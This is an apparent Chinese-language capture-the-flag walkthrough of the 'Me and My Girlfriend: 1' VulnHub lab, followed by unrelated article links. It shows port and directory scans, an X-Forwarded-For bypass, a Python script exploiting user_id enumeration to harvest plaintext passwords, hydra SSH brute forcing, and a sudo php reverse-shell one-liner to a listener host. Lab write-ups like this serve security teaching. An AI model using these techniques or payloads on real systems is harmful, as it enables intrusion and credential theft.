Me-and-My-Girlfriend-1

下载地址:Me and My Girlfriend: 1 ~ VulnHub

1 信息收集

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-07 19:54 CST
Nmap scan report for 192.168.0.3
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [20:43:35] Starting:
[20:43:35] 301 - 308B - /misc -> http://192.168.0.3/misc/
[20:43:38] 301 - 310B - /config -> http://192.168.0.3/config/
[20:56:50] 200 - 120B - /index.php
[20:56:58] 200 - 32B - /robots.txt
[20:47:35] 403 - 291B - /server-status Task Completed

1.2.1 目录分析

  1. 访问http://192.168.0.3/发现有IP限制,查看页面代码信息,发现需要利用X-Forwarded-For Header绕过

  2. 火狐下载插件:X-Forwarded-For Header,并配置IP地址为:127.0.0.1,请求头选择X-Forwarded-For

  3. 利用X-Forwarded-For Header插件成功访问到目标网站:http://192.168.0.3/?page=index

  4. 在目标网站上注册test用户

  5. 成功登录后台:http://192.168.0.3/index.php?page=dashboard

  6. http://192.168.0.3/index.php?page=profile&user_id=12页面尝试水平越权,将user_id=12改为user_id=1

    # 通过水平越权得到注册的用户信息如下:
    Eweuh Tandingan
    eweuhtandingan
    skuyatuh
  7. 编写脚本尝试获取所有用户的账号密码:

    import requests, re
    
    def get_user_pass(uid):
    uid = uid
    t_url = 'http://192.168.0.3/index.php?page=profile&user_id=%s' % uid
    t_cookie = {
    "PHPSESSID":"ua2kg2n1inkvdbdcohitotsgg5"
    }
    t_headers = {"X-Forwarded-For":"127.0.0.1"}
    getreq = requests.get(url=t_url, cookies=t_cookie,headers=t_headers).text
    # match name
    getname = re.search( "id=\"name\" value=\"(.*?)\">",getreq).group(1)
    # match username
    getusername = re.search( "id=\"username\" value=\"(.*?)\">",getreq).group(1)
    # match passwd
    getpasswd = re.search( "id=\"password\" value=\"(.*?)\">",getreq).group(1)
    return getname,getusername,getpasswd
    if __name__ == '__main__':
    for i in range(20):
    getname,getusername,getpasswd = get_user_pass(i)
    if getname:
    print("%s:%s"%(getusername,getpasswd))
  8. 得到以下结果:

    eweuhtandingan:skuyatuh
    aingmaung:qwerty!!!
    sundatea:indONEsia
    sedihaingmah:cedihhihihi
    alice:4lic3
    abdikasepak:dorrrrr
    test:Admin123
  9. http://192.168.0.3/robots.txt

  10. http://192.168.0.3/heyhoo.txt

2 GetShell

2.1 利用收集的信息尝试ssh登录目标主机

# hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -C user-pass ssh://192.168.0.3 # 得到:ssh登录账号与密码
alice:4lic3
  • -C: FILE 文件格式为 "login:pass"

2.2 成功登录

# 获得第一个flag
alice@gfriEND:~$ cat .my_secret/flag1.txt
Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but this is better than Bob cheated! Now your last job is get access to the root and read the flag ^_^ Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}

3 提权

3.1 尝试提权

sudo su -提权失败

3.2 收集当前系统信息

  1. 查看/etc/passwd

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    libuuid:x:100:101::/var/lib/libuuid:
    syslog:x:101:104::/home/syslog:/bin/false
    messagebus:x:102:106::/var/run/dbus:/bin/false
    landscape:x:103:109::/var/lib/landscape:/bin/false
    alice:x:1000:1001:Alice Geulis,1337,+62,+62:/home/alice:/bin/bash
    eweuhtandingan:x:1001:1002:,,,:/home/eweuhtandingan:/bin/bash
    aingmaung:x:1002:1003:,,,:/home/aingmaung:/bin/bash
    sundatea:x:1003:1004:,,,:/home/sundatea:/bin/bash
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
    mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false
  2. SUID提权:没啥可利用的

    alice@gfriEND:~$ find / -perm -u=s 2>/dev/null
    /bin/ping6
    /bin/ping
    /bin/umount
    /bin/mount
    /bin/su
    /bin/fusermount
    /usr/bin/chsh
    /usr/bin/gpasswd
    /usr/bin/mtr
    /usr/bin/pkexec
    /usr/bin/at
    /usr/bin/traceroute6.iputils
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/sudo
    /usr/sbin/uuidd
    /usr/sbin/pppd
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/openssh/ssh-keysign
    /usr/lib/policykit-1/polkit-agent-helper-1
  3. 查看当前系统中的用户所创建的文件:没啥东东

    alice@gfriEND:~$ find / -user 1000  2>/dev/null
    /home/alice
    /home/alice/.bashrc
    /home/alice/.cache
    /home/alice/.cache/motd.legal-displayed
    /home/alice/.bash_logout
    /home/alice/.bash_history
    /home/alice/.profile
    /home/alice/.my_secret
    /home/alice/.my_secret/my_notes.txt
    alice@gfriEND:~$ find / -user 1001 2>/dev/null
    /home/eweuhtandingan
    /home/eweuhtandingan/.bashrc
    /home/eweuhtandingan/.bash_logout
    /home/eweuhtandingan/.profile
    alice@gfriEND:~$ find / -user 1002 2>/dev/null
    /home/aingmaung
    /home/aingmaung/.bashrc
    /home/aingmaung/.bash_logout
    /home/aingmaung/.profile
    alice@gfriEND:~$ find / -user 1003 2>/dev/null
    /home/sundatea
    /home/sundatea/.bashrc
    /home/sundatea/.bash_logout
    /home/sundatea/.profile
    alice@gfriEND:~$
  4. 查找敏感文件

    alice@gfriEND:/var/www/html$ cat config/config.php
    <?php $conn = mysqli_connect('localhost', 'root', 'ctf_pasti_bisa', 'ceban_corp');
    alice@gfriEND:/var/www/html$
  5. 查看当前alice用户是否拥有sudo权限

    alice@gfriEND:~$ sudo -l
    Matching Defaults entries for alice on gfriEND:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alice may run the following commands on gfriEND:
    (root) NOPASSWD: /usr/bin/php

3.3 sudo php提权

alice@gfriEND:~$ sudo php -r '$sock=fsockopen("192.168.0.2",2333);exec("/bin/bash -i <&3 >&3 2>&3");'
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.0.2] from (UNKNOWN) [192.168.0.3] 57734
root@gfriEND:~# cat flag2.txt ________ __ ___________.__ ___________.__ ._.
/ _____/ _____/ |_ \__ ___/| |__ ____ \_ _____/| | _____ ____| |
/ \ ___ / _ \ __\ | | | | \_/ __ \ | __) | | \__ \ / ___\ |
\ \_\ ( <_> ) | | | | Y \ ___/ | \ | |__/ __ \_/ /_/ >|
\______ /\____/|__| |____| |___| /\___ > \___ / |____(____ /\___ /__
\/ \/ \/ \/ \//_____/ \/ Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :) Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73 Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
root@gfriEND:/root#

Me-and-My-Girlfriend-1的更多相关文章

  1. 2016暑假多校联合---To My Girlfriend

    2016暑假多校联合---To My Girlfriend Problem Description Dear Guo I never forget the moment I met with you. ...

  2. hdu 5800 To My Girlfriend + dp

    传送门:hdu 5800 To My Girlfriend 题意:给定n个物品,其中i,j必选,l,m必不选,问组成体积为s的方法一共有多少种 思路:定义dp[i][j][s1][s2],表示前i种物 ...

  3. What am I missing out in life if I don't have a girlfriend?

    http://www.quora.com/What-am-I-missing-out-in-life-if-I-dont-have-a-girlfriend/answer/Kelly-Erickson ...

  4. HDU 5800 To My Girlfriend 背包

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5800 To My Girlfriend Time Limit: 2000/2000 MS (Java ...

  5. hdu_5800_To My Girlfriend(变种背包)

    题目链接:hdu_5800_To My Girlfriend 题意: 给你n和物品和一个重量m,让你求 题解: To My Girlfriend 令dp[i][j][s1][s2]表示前i个物品填了j ...

  6. 一本通1623Sherlock and His Girlfriend

    1623:Sherlock and His Girlfriend 时间限制: 1000 ms         内存限制: 524288 KB [题目描述] 原题来自:Codeforces Round ...

  7. hdu 5800 To My Girlfriend(背包变形)

    To My Girlfriend Time Limit: 2000/2000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) ...

  8. hdu5800 To My Girlfriend dp 需要比较扎实的dp基础。

    To My Girlfriend Time Limit: 2000/2000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) ...

  9. <2013 08 17> BucketList of girlfriend

    BucketList of girlfriend 1.出国旅游 2.跟相爱的人结婚,生个健康可爱的孩子 3.说一口流利的英语 4.学素描和水彩 5.买个雅马哈钢琴,偶尔学着弹一首曲子 6.把泪腺堵住 ...

  10. 「CF779B」「LOJ#10201.」「一本通 6.2 练习 4」Sherlock and His Girlfriend(埃氏筛

    题目描述 原题来自:Codeforces Round #400 B. Sherlock 有了一个新女友(这太不像他了!).情人节到了,他想送给女友一些珠宝当做礼物. 他买了 nnn 件珠宝.第 iii ...

随机推荐

  1. ArcGIS QGIS学习二:图层如何只显示需要的部分几何面数据(附最新坐标边界下载全国省市区县乡镇)

    目录 前言 准备SHP数据 ArcMap 的筛选 QGIS 的筛选 如何编写查询条件 前言 当我们用GIS软件打开一个SHP文件的时候,会显示出里面全部的几何图形,假如我只想要其中的一部分数据显示出来 ...

  2. 【Day01】Spring Cloud入门-架构演进、注册中心Nacos、负载均衡Ribbon、服务调用RestTemplate与OpenFeign

    〇.课程内容 课程规划 Day1 介绍及应用场景 Day2 组件介绍及 广度 Day3 设计思想.原理和源码 Day4 与容器化的容器(服务迁移.容器编排) 一.业务架构的演进 1.单体架构时代 缺陷 ...

  3. GitHub 开源了多款字体「GitHub 热点速览 v.22.48」

    本期 News 快读有 GitHub 官方大动作一下子开源了两款字体,同样大动作的还有 OpenAI 发布的对话模型 ChatGPT,引燃了一波人机对话. 项目这块,也许会成为新的 Web 开发生产力 ...

  4. 解决aspnetcore-browser-refresh.js:234 WebSocket connection to 'wss://localhost:62356/Admin/' failed问题

    前言 前段时间升级了Visual Studio到v17.1.1最新版本,然后今天来运行之前的一个.net5项目一直提示:aspnetcore-browser-refresh.js:234 WebSoc ...

  5. 使用Google OR-Tools分析过去20年中国金融资产最佳配置组合

    前两天,在朋友圈里看到一张截至2022年Q2的金融资产历年收益图如下,图中列举了国内从2005年到2022年近20年主要的金融资产历年收益率,随产生想法分析和验证下面几个问题: 过去20年,基于怎样的 ...

  6. 第一百一十四篇: JS数组Array(三)数组常用方法

    好家伙,本篇为<JS高级程序设计>第六章"集合引用类型"学习笔记   1.数组的复制和填充 批量复制方法 copyWithin(),以及填充数组方法fill(). 这两 ...

  7. easygui的简单使用——实现猜字谜小游戏

    游戏:随机生成个谜底,每轮有3次机会,猜对了结束本轮游戏,猜错了提示猜大了还是猜小了,并显示剩余次数,3次用完后本轮字谜游戏结束,可重新开始猜字谜,也可结束游戏 # 使用 easygui 实现猜字谜游 ...

  8. 8、ThreadPoolTaskExecutor线程并发

    一.线程池的优点: 1.降低资源消耗.通过重复利用自己创建的线程降低线程创建和销毁造成的消耗. 2.提高响应速度.当任务到达时,任务可以不需要等到线程创建就能立即执行. 3.提高线程的可管理性.线程是 ...

  9. CONDITION EVALUATION DELTA热部署启动失效

    1.问题描述 我在启动一个SpringBoot项目的时候,在启动中控制台不停的打印日志(如下图所示) 2.产生原因 当时我是看了这篇文章后CONDITION EVALUATION DELTA_苦逼码农 ...

  10. .NET周报【12月第4期 2022-12-31】

    祝大家新年快乐! 国内文章 『 再看.NET7』数值类型 https://mp.weixin.qq.com/s/ctiBMPY6Hditk81AzHSRng 在C#中,有int16,用short来定义 ...